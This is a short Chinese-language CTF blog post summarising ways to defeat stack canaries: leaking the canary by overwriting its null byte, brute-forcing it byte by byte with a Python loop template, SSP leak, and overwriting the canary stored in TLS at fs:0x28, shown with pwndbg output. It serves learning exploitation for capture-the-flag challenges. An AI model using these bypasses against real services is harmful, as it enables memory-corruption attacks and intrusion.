Canary攻击

简述

  • canary是用来保护栈,防止栈溢出的。
  • 对canary这玩意主要有4种攻击方式。
  • 在cbctf中遇到了一种很神奇的攻击方式,所以总结一下canary的攻击

canary泄漏

  • canary开头一般是\x00,为了防止读到值,但是在某些情况下,我们能覆盖掉这个值,导致canary泄漏

canary爆破

  • 需要条件:程序不能崩溃,所以一般需要有子线程参与
  • 模板:
canary = '\x00'
for k in range(3):
    for i in range(256):
        print "the " + str(k) + ": " + chr(i)
        p.send('a'*100 + canary + chr(i))
        a = p.recvuntil("welcome\n")
        print a
        if "sucess" in a:
                canary += chr(i)
                print "canary: " + canary
                break

ssp leak

详情见另一篇博客:http://longque.xyz/index.php/archives/11/

canary覆盖

其实canary是在程序运行前在_libc_start_main的时候被赋值的,它一般是被写在了fs:0x28的位置,这个位置其实是tls段的,可以通过pwndbg查看:

pwndbg> tls
    Thread Local Storage (TLS) base: 0x7ffff7fc8540
    TLS is located at:
            0x7ffff7fc3000     0x7ffff7fc9000 rw-p     6000      0 [anon_7ffff7fc3]
pwndbg> x/20xg 0x7ffff7fc8540
    0x7ffff7fc8540:    0x00007ffff7fc8540    0x00007ffff7fc8ea0
    0x7ffff7fc8550:    0x00007ffff7fc8540    0x0000000000000000
    0x7ffff7fc8560:    0x0000000000000000    0xb3243bfa8e4ae900
    0x7ffff7fc8570:    0x0c45184dc4b4d2be    0x0000000000000000
    0x7ffff7fc8580:    0x0000000000000000    0x0000000000000000
    0x7ffff7fc8590:    0x0000000000000000    0x0000000000000000
    0x7ffff7fc85a0:    0x0000000000000000    0x0000000000000000
    0x7ffff7fc85b0:    0x0000000000000000    0x0000000000000000
    0x7ffff7fc85c0:    0x0000000000000000    0x0000000000000000
    0x7ffff7fc85d0:    0x0000000000000000    0x0000000000000000
pwndbg> canary
    AT_RANDOM = 0x7fffffffe4f9 # points to (not masked) global canary value
    Canary    = 0xb3243bfa8e4ae900 (may be incorrect on != glibc)
    Found valid canaries on the stacks:
    00:0000│  0x7fffffffdaa8 ◂— 0xb3243bfa8e4ae900
    00:0000│  0x7fffffffe018 ◂— 0xb3243bfa8e4ae900
    00:0000│  0x7fffffffe078 ◂— 0xb3243bfa8e4ae900
    00:0000│  0x7fffffffe138 ◂— 0xb3243bfa8e4ae900

而很明显,这个段是可以修改的,所以就延伸出了修改canary存储位置从而导致绕过canary的方式。